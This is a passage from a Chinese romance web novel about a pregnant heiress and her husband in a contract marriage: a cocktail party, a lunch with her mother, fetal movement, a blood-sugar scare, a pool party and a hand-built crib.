在酒会现场,她穿平底鞋,挽着黎铮手臂和几个不认识的人寒暄过后,黎铮就让她自由活动,但警告她不许喝酒,不许乱说话。 “你的任务已经完成了,乖乖等我应酬完一起回家。”黎铮轻捏她的手,又替她要了杯牛奶,在人前上演宠溺孕妻的戏码。 黎铮融入社交圈子,也无暇顾她,甄宝珠举着杯牛奶转来转去,在会场巡视一圈,看到几个女人围着珠光宝气的阔太太,表现慇勤得很。 那位太太阔面浓眉,英气十足,浑身上下都价值不菲,应该就是那位港商的太太。 甄宝珠夸张地扶着显怀的肚子,融进她们中间。 她的孕肚显眼,人又年轻,阔太太上下打量她,眼中露出不屑,寻思哪个商人把怀孕小三带来她的酒会了。 甄宝珠露出招牌式甜笑,伸出手主动问好:“周太太你好,我叫甄宝珠,家里人都叫我宝珠。” 周太太颔首假笑,却没打算伸出友爱之手。 甄宝珠收回手,笑容还挂在脸上,眉眼弯弯,轻飘飘说了句:“哦,忘了介绍更多,我爸爸是甄厉海,我爷爷是甄卫国。” 周太太身子往前倾了倾,眼光也亮了起来,给旁边一个眼色,旁边女人自动起身腾了个座位给她。 “宝珠,坐我旁边,你们怎么回事,怎么能让怀孕的黎太太一直站着?” 甄宝珠淡淡一笑,商人逐利,拜高踩低的场景她看过太多,也见怪不怪,等她继承了家业,再也不需要提起长辈才能获得尊重。 她刚坐下,周太太就搭着她的肩膀,眉眼中带着真诚笑意,“宝珠,你真是辛苦,怀孕还陪黎总来。” “周太太的酒会,阿铮很重视。”甄宝珠偏眼看了下她腕上的顶级玻璃种翡翠,了然一笑。 她心知肚明,这是周太太在她面前展示自己的财力,好叫甄宝珠也别轻看了她。 “怀孕几个月了?男仔还是女仔?”周太太关切问道。 “已经五个月了,阿铮和我都不在意是男孩还是女孩。” 周太太摆手,“别听男人讲啦,我生大女儿的时候,他也说不在意,结果还不是要怀老二。” “我妈妈是先生了哥哥,又生了姐姐和我,我们家人都不太在意的。” “毕竟根红苗正嘛,我明白的,你和黎总结婚也是低调,是不想上新闻吧?” 甄宝珠挑眉,掩唇说着悄悄话:“周太太,先上车后买票,所以低调些,其实是在筹备婚礼时发现怀孕的,可惜了,我还定了意大利的婚纱设计师,现在粗身大势穿不了。” 周太太眼前一亮,“意大利的婚纱设计师?是朱莉娅吗?” 甄宝珠唇角一扬:“对的呀,周太太您怎么猜到的?我和她是旧相识,她一直说想要给我设计世界上独一无二的婚纱,可惜了。” 周太太眼中泛起期待的光芒,“我大女儿的婚期在明年,看上了那个设计师,但她很有脾气,拿钱完全砸不动。” “是,艺术家嘛,脾气难免有些怪。”甄宝珠喝了口牛奶,余光睨向周太太。 “黎太太,”商太太亲热地握住甄宝珠的手,“如果可以的话,能不能帮忙牵个线?” 甄宝珠装做为难,“可是您也知道,她这人毛病多欸,我听阿铮说和您丈夫有合作,如果后续还有故事的话,我很愿意帮周太这个忙的。” 周太太眼珠一转,即刻意会,笑答:“黎总的资金加上黎太太的背景,没有什么搞不掂。” 黎铮仅仅十几分钟不见甄宝珠,转头就看到甄宝珠已经快坐在周太大腿上了,周太的手还搭在她肩上,亲热得像母女一样。 他微微皱眉,身边的港商顺着黎铮的目光看去,笑问:“黎总很着紧太太?” 黎铮敛回目光,笑了笑说:“是,毕竟怀孕了。” “我太太刚才短讯我,说黎太太可以帮忙搞定我女儿的婚纱,等你们的孩子出生你就知道了,什么都想给她最好的。”周先生感慨道。 “我理解,”黎铮又望向甄宝珠,婚纱的事他毫不知情,“您女儿要结婚了?” 港商也有些诧色,他本以为甄宝珠的帮忙是黎铮授意的,“黎总不知道?” 黎铮摇头,“到时请您邀请我们,我们很愿意参加婚礼。” 港商与他碰杯,“黎太太很能干,很有我太太年轻时的风采,怪不得她们能聊得来,婚礼一定会邀请黎总和太太一起来。” 黎铮远远望着甄宝珠,唇边弯起一个好看的弧度,“是,我也知道她很好。” * 酒会过后,甄宝珠在车上打着哈欠,“好久都没出来了,感觉好累。” 黎铮静静看着甄宝珠,目光有种不易察觉的深意,“先别累,说说你怎么搞定周太太的?” 第25章 第 25 章 就像黎铮的吻。 如此让黎铮上心的投资项目, 甄宝珠除了打扮自己,当然还做了其他功课。 她了解到港商的基本情况,又找嫡长闺帮她打听, 游悠虽然长驻京市,还和以前港城的姐妹有联系,告诉她港商的女儿最近打算结婚, 但千金小姐因为婚纱的事儿差点抑郁。 “这叫知己知彼, ”甄宝珠颇为得意, 酒窝也随着嘴巴的张合更显得灵动, “让她知道,我们能给她最想要的,这不是黎总最大的诚意?” 黎铮看着她, 眉梢微挑, “所以你故意提起我们根本没筹备过的婚礼?” “没错,今天我想要聊这件事, 不管周太是想和我聊母猪的产后护理还是鼠疫的防治措施, 最后我们聊的也一定是婚礼和婚纱。” 一步步引导周太的话题, 像在玩贪吃蛇,不管目标在哪个位置,她总要七拐八绕吃掉对方。 “甄宝珠, ”黎铮唇边浅笑,说:“你有没有真的想过, 换个赛道?” 甄宝珠的笑脸一下子掉下来,抬手扭他的上臂:“你还敢提?” “不不, 我说真的,”黎铮认真道:“你有没有想过你的天赋其实更适合做公关。” “公关?” 甄宝珠真没想过。 黎铮和她进行了一次严肃交谈:“在我看来,你的天赋不是统筹决策。对于全局的把控, 你姐姐明显比你强很多。” 甄宝珠睇他一眼。 心里也是服气的,毕竟甄玉珠是从小被当成接班人培养的,她从小就是被散养的。 黎铮又说:“你的优势在于社交和应急处理,你热情活泼,有亲和力,思维灵活,行动力强” 越说越能感觉到隔壁炙热的目光朝他投来,甄宝珠双眼亮亮的,“原来你觉得我有这么多优点啊?” 黎铮咳了一声,“只是客观评价,从你姐姐的生日宴,到我们婚后你那上不得台面的博弈,再到今天你的表现都让我觉得你很适合公关,你不妨朝着这个方向考虑一下。 “而且我认为,像你们这样的大家族企业,每个人各司其职、发挥优势作用,而不是都想着抢坐第一把交椅,才会越来越好。你以后帮助你姐姐,或者自立门户都好。” 自从大学肄业之后,甄宝珠一直很迷茫,回国之后也不知道除了继承产业还能干什么,被黎铮这么一说她倒真的开始有点儿想法了。 黎铮说:“如果你有想法,我可以给你找找老师,先试几节课程,看看你感不感兴趣。” 她忽然觉得黎铮严肃认真(还能分析出她众多优点)的样子迷人极了,不知觉就看着有些出神。 “你说呢?”黎铮侧头看她。 那双杏眼明眸泛着期许的亮光。 她又冲他笑。 还挺好看。 “好,我可以试试。”她用力点头,两颊浮起兴奋的红晕。 黎铮又问她:“你说的意大利婚纱设计师有联系渠道吗?” “那个设计师我当然很熟。”她眼角笑意变得狡黠,“你不是调查过我吗?忘了我前任男友是超模?意大利人?” 黎铮微怔,脸色由晴转阴,“…你的意思是你会联系前男友帮我?” 车里温度骤降,甄宝珠感觉浑身凉飕飕的,紧了紧腿上的小毯子,一扭头,发现寒意来着黎铮挂着冰霜的眼神。 她媚眼如丝,故意道:“怎么了黎总?你不是说没有永远的朋友,只有永恒的利益,说不准我和他还会因为利益重新成为朋友。” “朋友”二字,她着重强调。 “我不需要。”黎铮紧抿着唇。 “黎总的格局,”她掐着小指,“就这么大?” “我再说一遍,不需要。” “但我已经承诺给周太了。” “你的承诺我会实现,婚纱的事我会搞定。” 甄宝珠轻咬唇瓣,嘴巴勾出道笑线,“可是我明明记得黎总说过,我在外承诺的任何事,你都不负责实现。” 黎铮无言以对,脸色极速红温。 甄宝珠玩着自己的指甲,语气闲闲的,“其实我也有私心,不知道我的前男友过得怎么样了?突然就好想联系他,意大利超模,天使面庞、宽肩窄腰、器大” 话没说完她的脸颊就被有力的大手捏住,嘴巴被他捏得微微嘟起,像吐泡泡的鱼唇。 “甄宝珠,你”黎铮咬着牙。 “渥肿么?”甄宝珠无辜眨眼。 他一字一顿:“你闭嘴。” 她打他的手,“泥放开。” 黎铮不肯放手,她被捏得两颊发酸,一低头就啃住他的虎口,威胁他放手。 曾被她咬过的伤疤还在指根处清晰可见,别人都是一朝被蛇咬十年怕井绳,黎铮像是等着她再咬上去,甚至给她腾留出张嘴的缝隙。 好像咬破也无所谓。 可她唇齿颤动,牙齿咬着一点点皮肉轻轻啃,不疼,但痒、但麻,就像他在家偷喂那条小流浪狗时,它吃得太急,乳牙磕到他的手心,有钝钝的痒意和湿漉漉的口水。 而甄宝珠给他留下的,是一圈浅浅的牙印儿。 黎铮抽回手,虎口一圈微肿起来,皮肤又热又烫,他抽出方巾擦拭,嫌弃道:“都是口水,你怎么像狗一样?” 甄宝珠吐了吐舌头,“我和稍息学的。” “什么稍息?”他眉间微深。 “我的小狗,我给它取名叫稍息,你不觉得它站在那丿着腿,很像稍息的姿势吗?” 黎铮想起家里那只小狗,唇角浅浅牵起,“是挺像的。” 甄宝珠挑眉道:“你叫立正,它叫稍息,你们是一对好兄弟。” 甄宝珠捂着嘴笑得直拍黎铮大腿。 黎铮笑意凝固,嘴唇抿成一条直线。 * 刚回到家,稍息就跑出来迎接他们,它现在已经很习惯环境了,开始满屋乱造,甄宝珠出门前它还是可爱棉花糖,回来之后就成了邪恶摇粒绒。 甄宝珠爱怜地摸了摸它的小脑袋,低头就发现她的锦毛鼠拖鞋不见了。 “黎铮,帮我找一下拖鞋。” 黎铮抱着手臂,无动于衷,“你可以让你前男友帮你找拖鞋。” 甄宝珠挑衅道:“找就找,我现在就给他打电话。” 她把手机贴在耳边,假模假式拨通电话,张口就说了句意大利语,“ehila,buonasera。”(嗨,晚上好。) 后面她不会说了… 书到用时方恨少,当初只顾着教前男友中文了,多学两句意大利语就好了,搞得现在词汇量贫乏,只会说点儿入门级。 但她会编,弹舌溜得一批… 她也会演,捂着嘴笑,扭腰娇嗔,把做作两个字贯穿全身。 黎铮松了松领带,坐在沙发上冷眼旁观,指尖在扶手上轻轻敲叩。 漆黑的手机屏幕陡然亮起,手机铃声也猝然响起。 甄宝珠被吓了一跳,狗狗祟祟望向黎铮,给自己找台阶:“信号不好,重新打来了。” “ehila,buonasera。”甄宝珠接通电话,硬着头皮打招呼。 电话那头传来中气十足的女声:“我是你妈,别跟我说鸟语。” 甄宝珠:“妈妈~” 苏秀女士说:“我回国了,日程很紧,明天中午咱们娘儿俩去玉楼吃顿饭,哦对了,你把小黎也带上。” “他…”甄宝珠找理由,“他日程也很紧,可能去不了哦。” “让我女儿怀孕的时候日程怎么不紧?”苏秀女士有点儿怨气,“就这样,挂了。” 甄宝珠望着被挂断的电话,抬眼瞟向黎铮,冲他尴尬一笑,“我妈约你明天中午吃饭,你有时间吗?” “有时间。” 黎铮起身,把被稍息叼到地毯上的拖鞋放在她脚边。 甄宝珠扶着他的肩膀穿上拖鞋,警告他:“到时候你别乱说话,别想在我妈面前打击报复我。” 黎铮偏头看她,语气冷淡:“我为什么要打击报复你?” “” 大概因为她联系前男友? 还说让黎铮当狗兄弟? “总之,你要在丈母娘面前好好表现,我听我妈这话茬,来者不善。”她认真嘱咐道。 “知道了。”黎铮拂开她搭在肩头的手。 甄宝珠踩着拖鞋上楼,嘴里还故意念叨:“我妈也真是,打扰了我和前男友鸳梦重温,还是私人空间聊私事比较方便。” 黎铮站在楼下,一直目送她上楼。 她偷偷回头想看看黎铮的反应,正好撞上那双带着笑意的墨瞳。 “buonanotte,principessa。”黎铮低沉蛊人的嗓音和纯正的意大利发音,把甄宝珠的脚步钉在原地。 怎么说呢,当时她像一只股票 中国石化。 * 第二天,甄宝珠和黎铮手挽手出现在玉楼。 几个月没见,她的肚子已经显怀了,苏秀女士绷着脸,对她进行了长达十分钟的严厉批评和半个小时的关切慰问。 娘儿俩连心,说起孕期反应,甄宝珠和当年苏秀怀她时候一模一样。 “当娘不容易,尤其是给你当娘不容易,当年你在我肚子里,可比现在闹腾多了,我还以为我怀了个哪吒。对了,你们查过没?是男孩还是女孩?” 甄宝珠摇摇头。 苏秀女士严肃道:“怎么不查?香港能查,让小黎带你去查查,我好提前准备。” “准备什么?”甄宝珠温温吞吞问。 “准备把婴儿房刷成蓝色还是粉色呀,咱们家的空房间那么多,不得收拾个婴儿房出来?到时候你坐月子就回来住,你姐姐已经在面试月嫂了。” “……我还没考虑那么多。”她用胳膊肘怼了怼黎铮:“阿铮也说男女都好,是吧?” 她冲着黎铮使眼色。 苏秀女士又说:“玉珠是不方便,但我到时候肯定也会回来照顾你,都安排好了,生下来你和黎铮抱着孩子就回来住。” 甄宝珠望向黎铮。 孩子出生之后,他们也就该离婚了。 黎铮一直静静听着丈母娘连珠炮似的安排,终于找了个她喝水的间隙开口。 “男孩女孩都好,宝珠想查我就带她去查,她不想查,孩子出生也算是个惊喜。至于婴儿房,我觉得蓝色不是专属男生的颜色,粉色也不是专属女生的颜色。” 他握住甄宝珠的手说:“我和宝珠能给孩子一个温暖幸福的家庭,ta也一定能感知到很多人爱ta。” 苏秀女士叹了口气,“你们年轻人想怎么样就怎么样吧,但是月子必须回来住,这边的阿姨都是看着宝珠长大,我放心。” “行,都听妈妈的~”甄宝珠赖在妈妈怀里撒娇。 苏秀女士却把她推了推,掏出车钥匙说:“宝珠,我车上有瓶酒,你去拿来。” 甄宝珠拍了拍自己的肚子,摊开手掌,心说您可真是我亲妈,让我大着肚子去拿酒。 “啧,”苏秀女士柳眉微皱,“运动运动,你这个阶段多走走,对孩子发育好。” 甄宝珠拿起车钥匙不情不愿出去了,包厢里只剩下黎铮和丈母娘。 黎铮已经意识到丈母娘是要和他单独谈话,估计要兴师问罪,他抿着唇,已经做好了被骂到狗血淋头也绝不还口的准备。 苏秀女士却从包里掏出两张名片,对黎铮说:“既然你和宝珠已经结婚了,还有了 子,我就不说你们草率领证是不是个荒唐的决定,说了也不能改变结果。” 听甄母这语气,不像兴师问罪。 黎铮暗松口气。 “但宝珠是我们甄家最小的孩子,从小娇惯,脾气不太好,阿姨” 苏秀女士改了口:“妈希望你能凡事多包容她,尤其是在孕期,这对女人来说是很艰难的一段日子。” 黎铮点了下头,认真道:“您放心,她不容易我知道。” 苏秀女士展开笑颜,把名片向前推了推,“只要你对宝珠好,我们就把你当成一家人,关于你的事…我和他爸也大概了解。” 黎铮眉间微攒,目光定定看着苏秀。 “知道你白手起家不容易,这两张名片你拿着,如果有什么需要帮助的,随时给我们打电话,我们是宝珠的后盾,今后就是你的后盾。” 黎铮望著名片,心里五味杂陈。 在父母去世几年之后,他又听到了“妈”这个字眼,又有人把他当做家人,愿意给他全部的信任与支持。 这一切只是因为他们的女儿和他结了婚。 甄母把名片放进黎铮手心,嗔怪道:“上次来家里也不说宝珠怀孕的事,起码应该跟我说说,我看婚礼还是得办,孩子一周岁的时候一起办,你觉得怎么样?” 黎铮脸颊微热,点了点头,“好,听您的。” 甄宝珠拿着红酒回来,嬉皮笑脸调侃她妈:“您现在不会有酒瘾了吧?后备箱都是酒,我挑了瓶最贵的。” 苏秀女士棱她一眼,“能挑出最贵的,看来你也没少喝。” 甄宝珠怂怂地笑了笑。 “小黎,你拐跑我女儿,陪我喝点儿酒赔罪?”苏秀女士笑盈盈看着他,丈母娘看女婿,越看越爱。 甄宝珠忙为黎铮打掩护:“他酒量不行,下午还有事儿,跟您说了日程紧,是吧?阿铮。” 再一扭头,黎铮自己倒上了。 甄宝珠:“……” 刚喝两杯白酒黎铮的脸就逐渐泛粉,甄宝珠知道她妈的酒量,时不时试图拦着,怕给黎铮喝死了,可他们觥筹交错、畅谈畅饮,几乎无视了她。 喝到最后他喉结红红的,眼皮红红的,眼神也开始飘忽迷离。 出门小风一吹,他就醉了个彻底。 * 甄宝珠好不容易才指挥司机把他平稳扶在床上,站在床边瞪着他,心里骂骂咧咧。 人家我妈见我,你搁这儿又唱又跳的,喝醉了还得我一孕妇把你弄回来。 “你说,你把我妈哄得那么开心想干嘛?”她用力踢了一下床围。 黎铮平躺在床上,双眼闭着,长密睫毛微微颤抖,脸上带着些笑意。 “想喝水。”他舔了舔唇。 真是一报还一报,现在他也敢来指使她了,有丈母娘撑腰就是不一样。 醒酒这事儿她有经验,骂骂咧咧给他弄了一杯蜂蜜水,插上吸管递在唇边。 “烫…”他嘴唇贴着吸管,皱眉。 “烫死你。”她恨恨道。 他勉强喝了几口,又歪头侧躺下,窗外的阳光有些刺眼,他的眼睛半睁半阖,逆着光看甄宝珠,看她发鬓间的碎发,看她长翘的眼睫,看她脸颊的细小绒毛。 “你怎么毛绒绒的?” 声音很小,只有他自己能听到。 甄宝珠放下杯子,转头就看他咕咕哝哝,不知在骂她什么。 “你骂我什么?” “……” 她蹲下身扒着床边,想趁他喝醉套话,“我妈跟你说什么了?” 黎铮嘴唇又动了动,声音很小,她一个字都没听到。 “你说什么呢?”她往前凑了凑。 涣散的眼神重新凝拢,温柔眸光落在她张合的唇上,他伸手捧住她的脸。 “我说,想亲你。” 午后的日光穿进鱼骨窗帘,细密光影覆在丝绒被上,就像黎铮的吻,温暖又轻软地落在她的唇上。 第25章 第 25 章 看我干嘛,想亲我? 短暂的吻, 来得快,去得也快。 蜻蜓点水地碰了一下,有种不真实感。 甄宝珠还没反应过来, 黎铮的手已经从她脸畔滑下去,闭上眼睛睡着了。 像是终于到达安全地带,卸下一身紧绷的戒心, 又像完成了一件很重要的事, 带着轻松的心态酣睡。 甄宝珠摸了摸自己滚烫的嘴唇, 仿佛他小心翼翼的鼻息还在唇珠温存, 唇沿还能尝到蜂蜜水的清甜,与他鼻梁轻蹭的触感还在脸颊停留。 她完全懵了,心也跳得慌乱。 “接吻还能催眠的吗?”她自言自语。 再看黎铮, 更可气了。 他竟然还翻了个身背对她。 甄宝珠恨不能现在就把黎铮揪起来, 她爬到床上,扯住他的领带, 熟睡中的人眉头微微皱起, 喉间发出声叹息, 却没有反抗的力气。 看起来怪可怜的。 她把食指勾进领带结,柔缓地给他松了松领带,解开一粒衣扣, 让他从紧邦邦的束缚感中得到一点喘息空间,又在他身边躺下, 目不转睛看着他熟睡的模样。 闭上眼睛的他眉宇之间有种内敛含蓄的气质,看起来不像平时那么冷冰冰的。 明明是立体硬挺的骨相, 又偏偏长了一张女孩儿般精致的唇,唇峰还沾了一点水盈盈的唇膏,是他酒后乱亲的证据。 甄宝珠忍不住想摸摸他的脸, 指背轻轻碰触他的脸颊,热热的,下巴冒出的浅茬刮着她的指腹,痒痒的,拇指按在下巴颏那道美人沟,悄声嫌弃:“像个屁股,丑死了。” 小公主嘴上嫌着,手指却挪不开。 腹中的胎儿像是在亲她的肚皮内壁,她把手按在腹部,感受着细微的胎动,宝宝的心情好像也很愉悦。 * 黎铮酒醒时,天已经黑透了。 他感觉手边沉沉的,偏头就看到两只细胳膊把他的手臂当抱枕紧紧抱着,一条腿也豪放地架在他腿上,甄宝珠整个人都像一只考拉攀在树上。 他想把胳膊抽出却扰醒了她。 她眼眸微张,迷迷瞪瞪的眼神反倒添了几分温柔,精致的小脸越夜越美丽,皮肤泛着柔润的光泽。 她张开眼睛又重新闭上,脖颈仰起,唇角微翘,露出一深一浅的酒窝。 黎铮疑惑地看着她,她又凑近了些,嘴唇微微嘟着。 “亲。”她等着黎铮再亲她。 “神经。”黎铮把她的脸推远。 甄宝珠睁开双眼,睫毛忽闪忽闪,看着黎铮那一脸正气凌然,他嘴上的唇膏也不知道何时被蹭掉了。 她试探问道:“你断片了?” “你为什么在我床上?”黎铮看着自己松散的领带,“我干什么了?” 他喵的他竟然断片了? 甄宝珠气得咬他肩膀,“你干我了!” 黎铮下意识掀开被子,裤子还在,甄宝珠也衣衫齐整。 “别乱说话。”黎铮不悦道。 “你摆张臭脸给谁看?”甄宝珠撒开嘴。 明明喝醉不是这样的。 她真后悔没拍到视频,忽然想到黎铮的房间没准也有监控,她赤脚在房间里四处寻找,脸贴着墙壁,挤眼看壁挂电视机后的缝隙。 “你房间里没有摄像头吗?” “没有。” 甄宝珠:“” 她丧气地躺在床上蹬了蹬腿,看着黎铮冰冷的脸,越看越来气,在床上乱掐他的腰和手臂,他躲闪着抓住她的两只手腕拉到头顶,不许她乱动。 她忽然静止了动作。 “你别乱动。”黎铮捏着她的手警告她。 “我没动,”她直勾勾看着黎铮,说:“孩子动了。” 两人的目光同时停在轻轻颤动的肚皮上,黎铮松开她,手掌隔着衣服覆在她的小腹,肚脐下方又动了一下,像孩子在和他打招呼。 那是越来越强烈的生命信号。 他把她从床上拉起来,两个人大半夜穿着拖鞋跑去了刘医生的工作室。 “是胎动,很明显,你有什么感觉?”刘医生问。 甄宝珠想了想,说:“感觉整个肚皮都撑撑的。” 刘医生笑道:“是孩子在伸懒腰,ta很开心,现在也能进行胎教了,听一些音乐,你还会感受到的。” * 那段时间,甄宝珠买了各种唱片,什么类型的音乐都给孩子听了一遍。 某日黎铮回到家,甄宝珠正穿着瑜伽服,用他的罗杰之声音响放一首土味DJ,自己还大声跟唱。 “不停地猜~猜~猜~又卜了一卦~” 见他从门口进来,她露出愉悦的笑容,抬起手臂,扭动腰身,无限妩媚地冲他勾手指。 黎铮默默走过去把音乐关掉,“瑜伽私教是这么教你的?” “老师刚走,我放松一下,你别说你真别说,这个音响真好,声音真大!” 黎铮缄默无语,从唱片架拿了一张唱片,换下甄宝珠买的劲歌热舞流行风尚。 清澈温柔的女声从音响里传出,在唱一首深情款款的原来你也在这里。 甄宝珠也跳累了,眉间鬓角都渗出细汗,脸颊透着粉晕,瘫在沙发上静静听着。 爱是天时地利的迷信, 哦原来你也在这里。 啊,那一个人, 是不是只存在梦境里。 …… 甄宝珠问他:“你喜欢刘若英?” “嗯,温柔知性,”他收起唱片盒,又补了句:“不像有些人…” 有些人的白眼快翻到天上去了。 她恼道:“我孩子不喜欢刘若英,给我换回来。” “听点儿轻柔的音乐,别折磨ta的耳朵了。” 甄宝珠抚摸肚子,“我的孩子我了解,ta听这种音乐根本不会动…” 话音未落,她的肚子就动了一下,她不可置信地看着隆起的小腹。 啪啪打脸。 折腾了一天,黎铮刚回来ta就动了。 她轻打了一下肚子,对着娃说:“还没青春期呢,你怎么就叛逆了?” 黎铮也走近她,眼巴巴望着她。 她仰头睇他,“看我干嘛,想亲我?” 黎铮变了变脸色,“乱说什么。” 甄宝珠看着黎铮微红的耳朵,躺在沙发上跷着脚使劲笑他。 黎铮不说话,一双手掌护在她的小腹。 她眨动着亮晶晶的眼睛,疑惑地看着他。 “我只是担心你笑得太癫,掉下来。” “那你摸我肚子干嘛?” “……” 黎铮也没为下意识的动作找好理由。 “想摸摸胎动?” “……” 甄宝珠握住他的手放在孩子正在动的位置,她得测试一下胎动是因为音乐还是因为黎铮。 “来吧,别客气,神奇吧?” 黎铮点了下头,望着服帖瑜伽服下圆润的小腹。 “你一摸ta就动,以后让我孩子认你当干爹。”甄宝珠闲道。 黎铮愣怔一下,幽深目光凝视着她,唇角抿成直线。 “干嘛这么看着我?”甄宝珠拍开他的手,“孩子这么动是想吃甜的了,干爹赶紧去做饭,多放点糖,谢谢。” * 干爹亲手做的甜食,差点把甄宝珠吃成妊娠高血糖。 甄宝珠的糖耐检验结果都在临界值,刘医生皱着眉问:“你最近吃什么了?” 这一细数起来,甄宝珠怀孕之后吃的甜食小蛋糕可不少,再加上听信诸如吃葡萄孩子能长大眼睛的谣言,她也没少补高糖水果。 黎铮也难逃数落,医生数落他应该给甄宝珠吃营养均衡的食物,不能听她想吃什么就给喂什么。 两人默默挨训,都不吱声。 甄宝珠被抽了三次血,胳膊还青紫着,心里也脆弱,扁着嘴就要哭。 黎铮咳了一声,说:“刘医生,是我不对,我改,以后我们注意,您先别说了。” 他给医生使了个眼色,医生给他推荐了一个营养师,自那以后,甄宝珠的菜谱成了清汤寡水的低脂健康餐。 她又不开心了,在医生面前有多怂,在黎铮面前就有多硬气。 “孩子随娘,就喜欢吃甜的,临界值,又不是真糖尿病。”她不屑一顾。 黎铮对她的撒泼打滚视若无睹,每天都盯着她吃健康餐,把她偷吃的奶糖从嘴里抠出来。 “没办法,我这人天生甜妹。”甄宝珠拽着他的手臂,可怜巴巴阻止他把家里的糖都收起来。 “你知道妊娠糖尿病有可能发展成二型糖尿病吗?到时候你每天吃饭都要扎胰岛素,还有高血压,泌尿系感染,分娩风险…” 她一叉腰就开始耍无赖,埋怨他:“还不是你之前做的饭让我血糖升高。” “我以后不会给你做饭了。” “别呀~” 她追着黎铮,稍息追着她。 她看着黎铮把那些糖四处分发给保镖保姆,还得到了对方一句:“恭喜黎总。” 甄宝珠气得扭头就要回娘家,她往箱子里装一件衣服,黎铮就往外拿一件,两人装来拿去,最后行李箱还是空空荡荡的。 “医生也训我,你也训我。”甄宝珠情绪不稳定,坐在床上抹眼泪。 黎铮无奈,蹲下身给她擦眼泪,“行了,别哭了,你委屈什么?” “我能不委屈吗?”甄宝珠哭着吼他:“自从备孕开始我戒烟戒酒,怀了孕我更是连朋友都戒了,她们几次叫我去会所,我都拒绝了,人家游悠和小男友去电音节,我只能在家听个破音响,现在吃点甜食还要被管着。” “不让你去会所你还挺委屈。”黎铮怨道。 一个抱枕砸在他身上,“我是说去会所的事儿吗?” 黎铮抿唇,无可奈何哄她:“你在家无聊可以把朋友叫来陪你,你喜欢热闹多叫些人来也行。” 甄宝珠泪眼婆娑:“真的?” 黎铮点头:“嗯。” “不用保持秩序?” 她还记得黎铮给她立的规矩。 “除了甜食不能吃,会所不能去,其他都随你。” 黎铮的秩序、规矩她又什么时候遵守过。 甄宝珠擦擦眼泪,把行李箱放起来,转头就兴高采烈通知朋友们,“我要在家开派对喽!” 黎铮:“……” * 黎铮家的泳池很大,但没什么花里胡哨,她为了开泳池派对购置了不少东西,邀请了十几个朋友到思懿庄园。 黎铮对此无话可说,医生说过孕中期游泳对她的身体也有好处。 她这也算遵医嘱。 向来罕有人至的思懿庄园现在门庭若市,盛大的泳池派对拉开帷幕。 各色泳装美女穿梭在泳池与酒台之间,恒温泳池充斥着绵密泡沫,水面漂浮色彩活跃的充气浮排。 保镖和救生员在不远处守着,关林把来往客人的资料都发到黎铮手机上。 黎铮站在三楼窗口望着楼下。 穿露背泳装的甄宝珠像企鹅一样跳下水,开着能滋水枪的大坦克,满场扫射其他人的小黄鸭和火烈鸟。 “横行霸道。” 黎铮自言自语,唇角微扬。 甄宝珠一抬头看到黎铮人模狗样站在窗口,冲他使劲挥手,让他下来一起玩儿。 然后三楼的窗帘就被拉上了。 朋友们都说她老公高冷,甄宝珠反驳道:“他才不高冷,他就是害羞。” 朋友们激她:“那你把黎总叫下来,跟我们一起玩儿。” 甄宝珠禁不住激将法,披上浴巾就去找黎铮。 电梯停在三楼,她边走边喊:“黎铮,你每天猫在楼上干嘛?” 推开一道门,房间里整齐摆放实木板和各类工具,一块小黑板贴满图纸,地板铺了一层木屑。 黎铮戴护目镜,套着件冲锋衣,内里白衬衫挽起,小臂线条紧实,露出手背隐隐起伏的经脉。 他手拿木锯,正给一块木板开榫。 甄宝珠走到黎铮身后,柔软发梢划过硬质冲锋衣,水珠顺着宽阔后背源源滑滚,连成一道细窄的线。 她贴近黎铮,歪着头问:“黎铮,你在干嘛?” 黎铮一偏头,鼻尖蹭到她濡湿的侧脸,属于她的甜蜜香气迅速环绕在他周围,她的皮肤在水里泡过更白皙光润,几乎与浴巾同色,他躲了躲脸,手背轻触鼻尖。 “做婴儿床。” 他放下木锯,又去凿钉子。 很久之前他就研究过婴儿床,市面上的婴儿床功能各异,但他还是想亲手打一个,用上好的木材,自己设计的图纸,送给新生的婴儿第一份赋有意义的礼物。 可甄宝珠不大理解,“打这个干嘛,到时候你…不跟我离婚了吗?” 长钉一歪,划破了黎铮的手掌。 第27章 第 27 章 你还挺变态的。 甄宝珠低呼一声, 捧起他的手用浴巾按住伤口,血液滴进木板,沿着木纹洇开, 像一条嵌入木板的血蛇。 “你受伤了。”她慌乱道。 “嗯。”他目光怔怔。 “嗯个屁,快走,去找医生。” 甄宝珠心里慌乱, 这伤口看起来不浅, 应该得打破伤风。 医生的到来让派对也提前结束了, 黎铮脱下冲锋衣给甄宝珠披着, 袖口还有点点血迹。 医生给黎铮处理伤口、打破伤风,他手上又裹了一层纱布。 甄宝珠被包进宽大的冲锋衣,探着脑袋看全过程, 见到医生也让她安心许多。 她语气还闲闲的:“以后你可别再逞能了, 专业的事要让专业的人干,今天还好有我在你身边。” 黎铮默然。 如果不是她在身边说离婚, 他也不会分心。 沉默了会儿, 他垂着眼尾, 冷涩道:“我没事。” 这倒让甄宝珠有点儿不好意思了,她心疼地捧着他的手,一脸关切, “我崴脚你照顾我,你断手了我来照顾你, 你放心,我肯定能把你照顾好。” “倒也不用……” 黎铮话音未落, 甄宝珠已经风风火火走了。 回到家她又把婴儿监视器翻出来,给黎铮卧室安上了,也已经做好了黎铮会报复性使唤她的准备。 天道好轮回, 苍天绕过谁。 甄宝珠等着黎铮半夜发令,一直等到她睡着,等到天光大亮,监视器里一点响动都没有。 她怀疑这玩意儿坏了。 清早一下楼,看到黎铮正在岛台冲咖啡,她一个箭步扑上去替他端,杯子烫手,她刚端起来又重重放下,两只手捏着耳垂,呲牙咧嘴。 黎铮当着她的面用完好的右手握住杯柄,端着杯子淡定走过她身边。 “你怎么不使唤我?”她问 “我没有使唤孕妇的习惯。”他说。 黎铮上班后,她又潜入卧室,悄悄把监控器摄像头挪动了下,黎铮晚上回来并没察觉到摄像头正对着他的床。 他坐在床上换衣服,解开衬衫纽扣,露出线条明晰的后背肌群,甄宝珠握着手机,捂嘴偷笑,享受偷窥的感觉。 听到他解开皮带的声音,甄宝珠迅速把手机屏幕熄灭,一张小脸通黄。 太痴女了,好变态。 但是,又好想看。 她在被子里扭成一条喝了雄黄酒的蛇。 终于鼓起勇气,她抱着Hello Kitty半夜敲响黎铮的门。 她脸上一派正气,眼神坚定得像要入党,“你不想通过监视器使唤我,我也不放心你,勉为其难来陪你,你有什么需要都可以跟我说。” 黎铮低头向下,白皙的手指尖正隔着睡衣按在他的胸肌上。 他挡住甄宝珠往前踢的正步,“我的手只是受伤了,不是截肢。” 甄宝珠一低头从他手臂下钻了进去,耍赖似的平躺在他床上。 